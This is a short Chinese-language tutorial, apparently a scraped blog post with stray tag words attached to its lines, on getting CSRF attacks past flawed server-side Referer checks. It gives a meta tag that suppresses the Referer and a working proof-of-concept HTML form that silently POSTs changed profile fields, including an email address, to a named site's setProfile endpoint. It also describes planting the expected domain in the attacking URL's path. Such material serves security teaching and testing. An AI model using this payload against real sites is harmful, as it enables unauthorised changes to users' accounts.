CSRF繞事後端Referer校驗分正常狀況和不正常的狀況,咱們這裏主要討論開發在寫校驗referer程序時,不正常的狀況下怎麼進行繞過。html
正常的狀況指服務器端校驗Referer的代碼沒毛病,那麼意味着前端是沒法繞過的。前端
我以前考慮過的方案:後端
不正常的狀況指服務器端校驗Referer的代碼有漏洞,前端才能作到繞過,下面介紹幾個可能會繞過Referer的案例;跨域
能夠嘗試無Referer標籤,萬一邏輯恰好沒判斷無Referer的狀況呢;瀏覽器
<meta name="referrer" content="never">
服務器
<html> <meta name="referrer" content="never"> <body> <script>history.pushState('', '', '/')</script> <!-- 實現瀏覽器頁面不刷新修改url連接 --> <form action="http://www.baidu.com/setProfile" method="POST"> <input type="hidden" name="nickname" value="new22" /> <input type="hidden" name="email" value="1@1.com" /> <input type="hidden" name="team" value="new22" /> <input type="hidden" name="address" value="new33" /> <input type="submit" value="Submit request" /> </form> </body> </html>
原理就是在路徑上建立成本來referer中有的字段名,若是校驗只是判斷是否包含,那就666了;url